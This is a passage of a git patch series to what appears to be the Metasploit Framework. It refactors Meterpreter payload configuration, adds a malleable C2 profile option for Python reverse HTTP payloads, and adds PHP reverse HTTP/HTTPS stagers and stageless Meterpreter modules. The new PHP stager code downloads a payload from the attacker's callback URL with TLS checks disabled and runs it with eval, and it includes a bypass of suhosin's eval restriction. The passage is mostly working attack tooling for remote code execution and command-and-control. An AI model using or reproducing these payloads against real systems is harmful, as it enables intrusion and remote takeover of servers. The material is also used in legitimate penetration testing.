opts[:header_referer] || ds['HttpReferer'] - - # The callback URL can be different to the one that we're receiving from the interface - # so we need to generate it - # TODO: move this to somewhere more common so that it can be used across payload types - unless opts[:url].to_s == '' - - # Build the callback URL (TODO: share this logic with TransportConfig - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" - opts[:scheme] ||= opts[:url].to_s.split(':')[0] - scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" - - # patch in the various payload related configuration - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' - met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' - met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' - met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' - - if http_proxy_host.to_s != '' - http_proxy_url = "http://" - unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' - http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" + # No C2 profile means we do what we used to do and patch the other globals. + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") + + uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') + uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') + met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + + if opts[:stageless] == true + session_guid = '00' * 16 + else + session_guid = SecureRandom.uuid.gsub('-', '') + end + met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") + + http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] + http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] + http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] + http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] + http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] + http_header_host = opts[:header_host] || ds['HttpHostHeader'] + http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] + http_header_referer = opts[:header_referer] || ds['HttpReferer'] + + # The callback URL can be different to the one that we're receiving from the interface + # so we need to generate it + # TODO: move this to somewhere more common so that it can be used across payload types + unless opts[:url].to_s == '' + + # Build the callback URL (TODO: share this logic with TransportConfig + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + scheme, lhost, lport = transport_uri_components(opts) + callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" + + # patch in the various payload related configuration + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' + met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' + met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' + met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' + + if http_proxy_host.to_s != '' + http_proxy_url = "http://" + unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' + http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" + end + http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) + http_proxy_url << ":#{http_proxy_port}" + + met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") end - http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) - http_proxy_url << ":#{http_proxy_port}" - - met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") end end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 97f55f7dd0ef7..105820b0a598c 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -59,7 +59,7 @@ def add_session_tlv(tlv, opts) session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) if exit_func tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) @@ -167,10 +167,13 @@ def config_block add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - # comms handle needs to have space added, as this is where things are patched by the stager - comms_handle = "\x00" * 8 config_bytes = config_packet.to_r - comms_handle + config_bytes + if @opts[:include_comms_handle] == false + config_bytes + else + # comms handle needs to have space added, as this is where things are patched by the stager + "\x00" * 8 + config_bytes + end end end diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index e8d3b7eb86f14..847334c8d2059 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -26,6 +26,10 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -34,11 +38,13 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 8274c36226ac5..d8ffa08d4c22a 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -26,6 +26,10 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -35,11 +39,13 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], stageless: true }) From f7aafe6719cb92b92e76c292691dc477a6476a18 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:00:04 +1000 Subject: [PATCH 39/65] Refactor config gen Comms handle is a windows concern, so that's removed from the generation of the config TLV now. --- lib/msf/core/payload/windows/meterpreter_loader.rb | 5 +++-- .../core/payload/windows/x64/meterpreter_loader_x64.rb | 5 +++-- lib/rex/payloads/meterpreter/config.rb | 9 +-------- 3 files changed, 7 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 89f4e011ec4b7..04c489d46e174 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -86,8 +86,9 @@ def generate_config(opts={}) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index d4cc5c4bbaa19..49b1e96ffe788 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -90,8 +90,9 @@ def generate_config(opts={}) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 105820b0a598c..c8f58d7fd3875 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -167,13 +167,6 @@ def config_block add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - config_bytes = config_packet.to_r - - if @opts[:include_comms_handle] == false - config_bytes - else - # comms handle needs to have space added, as this is where things are patched by the stager - "\x00" * 8 + config_bytes - end + config_packet.to_r end end From 5ec1fc2350c449c897db2e92e62e16473d30242b Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:42:59 +1000 Subject: [PATCH 40/65] Add support for HTTP/S PHP and TLV config This is a biggie! --- lib/msf/core/handler/reverse_http.rb | 2 +- lib/msf/core/payload/php/reverse_http.rb | 128 ++++++++++++++++++ .../core/payload/python/meterpreter_loader.rb | 104 ++------------ lib/rex/payloads/meterpreter/uri_checksum.rb | 2 + .../singles/php/meterpreter_reverse_http.rb | 80 +++++++++++ .../singles/php/meterpreter_reverse_https.rb | 80 +++++++++++ .../singles/php/meterpreter_reverse_tcp.rb | 38 ++++-- modules/payloads/stagers/php/reverse_http.rb | 27 ++++ modules/payloads/stagers/php/reverse_https.rb | 31 +++++ modules/payloads/stages/php/meterpreter.rb | 48 +++++-- 10 files changed, 422 insertions(+), 118 deletions(-) create mode 100644 lib/msf/core/payload/php/reverse_http.rb create mode 100644 modules/payloads/singles/php/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/php/meterpreter_reverse_https.rb create mode 100644 modules/payloads/stagers/php/reverse_http.rb create mode 100644 modules/payloads/stagers/php/reverse_https.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9fdbfb2a01265..6f3293be7c821 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -447,7 +447,7 @@ def on_request(cli, req) resp.body = pkt.to_r resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile - when :init_python, :init_native, :init_java, :connect + when :init_python, :init_native, :init_java, :init_php, :connect # TODO: at some point we may normalise these three cases into just :init if info[:mode] == :connect diff --git a/lib/msf/core/payload/php/reverse_http.rb b/lib/msf/core/payload/php/reverse_http.rb new file mode 100644 index 0000000000000..dba085b642187 --- /dev/null +++ b/lib/msf/core/payload/php/reverse_http.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +module Msf + +module Payload::Php::ReverseHttp + + include Msf::Payload::UUID::Options + + def initialize(info = {}) + super(info) + register_advanced_options( + Msf::Opt::http_header_options + + Msf::Opt::http_proxy_options + ) + deregister_options('HttpProxyType') + end + + # + # Generate the first stage + # + def generate(opts = {}) + opts[:scheme] = 'http' if opts[:scheme].nil? + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << luri + target_url << generate_callback_uri(opts) + target_url + end + + # + # Return the longest URI that fits into our available space + # + def generate_callback_uri(opts = {}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + + if self.available_space.nil? || dynamic_size? || required_space > self.available_space + uri_req_len = 30 + end + + uuid = generate_payload_uuid(arch: ARCH_PHP, platform: 'php') + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_php, uri_req_len, uuid: uuid) + end + + def generate_reverse_http(opts = {}) + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'], + }) + + callback_url = generate_callback_url(opts) + scheme = opts[:scheme] + + php = %Q^/* array( + 'method' => 'GET', + 'timeout' => 30, + 'header' => "User-Agent: #{ds['HttpUserAgent'] || 'Mozilla/5.0'}\\r\\n", + 'ignore_errors' => true, +)); +^ + + if scheme == 'https' + php << %Q^$opts['ssl'] = array( + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, +); +^ + end + + proxy_host = ds['HttpProxyHost'] + if proxy_host.to_s != '' + proxy_port = ds['HttpProxyPort'] || 8080 + php << %Q^$opts['#{scheme}']['proxy'] = 'tcp://#{proxy_host}:#{proxy_port}'; +$opts['#{scheme}']['request_fulluri'] = true; +^ + end + + php << %Q^$ctx = stream_context_create($opts); +$b = file_get_contents($url, false, $ctx); +if ($b === false) { die(); } +if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) +{ + $suhosin_bypass = create_function('', $b); + $suhosin_bypass(); +} +else +{ + eval($b); +} +die();^ + + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + def transport_config(opts = {}) + transport_config_reverse_http(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = cached_size + space += 100 + space += 256 + space + end +end + +end diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index e9ee0c9df765a..23d1bab6690dc 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -66,7 +66,6 @@ def generate_config(opts={}) config_opts = { ascii_str: true, - include_comms_handle: false, null_session_guid: opts[:stageless] == true, expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], @@ -80,112 +79,27 @@ def generate_config(opts={}) # Get the raw Python Meterpreter stage and patch in values based on the # configuration - # - # @param opts [Hash] The options to use for patching the stage data. - # @option opts [String] :http_proxy_host The host to use as a proxy for - # HTTP(S) transports. - # @option opts [String] :http_proxy_port The port to use when a proxy host is - # set for HTTP(S) transports. - # @option opts [String] :url The HTTP(S) URL to patch in to - # allow use of the stage as a stageless payload. - # @option opts [String] :http_user_agent The value to use for the User-Agent - # header for HTTP(S) transports. - # @option opts [String] :stageless_tcp_socket_setup Python code to execute to - # setup a tcp socket to allow use of the stage as a stageless payload. - # @option opts [String] :uuid A specific UUID to use for sessions created by - # this stage. def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - var_escape = lambda { |txt| - txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\')) - } - - if ds['MeterpreterDebugBuild'] - met.sub!(%q|DEBUGGING = False|, %q|DEBUGGING = True|) - - logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(ds['MeterpreterDebugLogging']) - met.sub!(%q|DEBUGGING_LOG_FILE_PATH = None|, %Q|DEBUGGING_LOG_FILE_PATH = "#{logging_options[:rpath]}"|) if logging_options[:rpath] - end - unless ds['MeterpreterTryToFork'] met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False') end met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) - if opts[:c2_profile] - # When a C2 profile is specified, generate a TLV config block that - # contains the full transport configuration including the profile. - unless opts[:url].to_s == '' - opts[:scheme] ||= opts[:url].to_s.split(':')[0] - - # Build a URI from the callback URL for transport config - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" - opts[:uri] = "#{luri}#{uri}" - end - - config_block = Rex::Text.encode_base64(generate_config(opts)) - met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") - else - # No C2 profile means we do what we used to do and patch the other globals. - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - if opts[:stageless] == true - session_guid = '00' * 16 - else - session_guid = SecureRandom.uuid.gsub('-', '') - end - met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") - - http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] - http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] - http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] - http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] - http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] - http_header_host = opts[:header_host] || ds['HttpHostHeader'] - http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] - http_header_referer = opts[:header_referer] || ds['HttpReferer'] - - # The callback URL can be different to the one that we're receiving from the interface - # so we need to generate it - # TODO: move this to somewhere more common so that it can be used across payload types - unless opts[:url].to_s == '' - - # Build the callback URL (TODO: share this logic with TransportConfig - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" - opts[:scheme] ||= opts[:url].to_s.split(':')[0] - scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" - - # patch in the various payload related configuration - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' - met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' - met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' - met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' - - if http_proxy_host.to_s != '' - http_proxy_url = "http://" - unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' - http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" - end - http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) - http_proxy_url << ":#{http_proxy_port}" - - met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") - end - end + # Build the URI from the callback URL if present + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" end + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? offset_string = "" diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index a56c629c9092e..f20d47797d4c3 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -13,6 +13,7 @@ module UriChecksum URI_CHECKSUM_INITN = 92 # Native (same as Windows) URI_CHECKSUM_INITP = 80 # Python URI_CHECKSUM_INITJ = 88 # Java + URI_CHECKSUM_INITPH = 84 # PHP URI_CHECKSUM_CONN = 98 # Existing session URI_CHECKSUM_INIT_CONN = 95 # New stageless session @@ -21,6 +22,7 @@ module UriChecksum URI_CHECKSUM_INITN, :init_native, URI_CHECKSUM_INITP, :init_python, URI_CHECKSUM_INITJ, :init_java, + URI_CHECKSUM_INITPH, :init_php, URI_CHECKSUM_INIT_CONN, :init_connect, URI_CHECKSUM_CONN, :connect ] diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..d8d2f211daa9b --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTP Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTP (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_http(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: opts[:scheme], + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..f959327481062 --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTPS (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_https(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: 'https', + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 23b8aa791a4c7..3e6eea0af17e1 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -4,10 +4,12 @@ ## module MetasploitModule - CachedSize = 39837 + CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -26,19 +28,30 @@ def initialize(info = {}) ) end - def generate(_opts = {}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid - met.gsub!('127.0.0.1', datastore['LHOST']) if datastore['LHOST'] - met.gsub!('4444', datastore['LPORT'].to_s) if datastore['LPORT'] + opts[:transport_config] ||= [transport_config_reverse_tcp(opts)] - uuid = generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"PAYLOAD_UUID", ""}, %("PAYLOAD_UUID", "#{bytes}")) + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate(_opts = {}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - # Stageless payloads need to have a blank session GUID - session_guid = '\x00' * 16 - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + config_block = Rex::Text.encode_base64(generate_config(_opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -48,7 +61,6 @@ def generate(_opts = {}) end met.gsub!(/#.*$/, '') - met = Rex::Text.compress(met) - met + Rex::Text.compress(met) end end diff --git a/modules/payloads/stagers/php/reverse_http.rb b/modules/payloads/stagers/php/reverse_http.rb new file mode 100644 index 0000000000000..21aa2fc32b5df --- /dev/null +++ b/modules/payloads/stagers/php/reverse_http.rb @@ -0,0 +1,27 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => { 'Payload' => '' } + ) + ) + end +end diff --git a/modules/payloads/stagers/php/reverse_https.rb 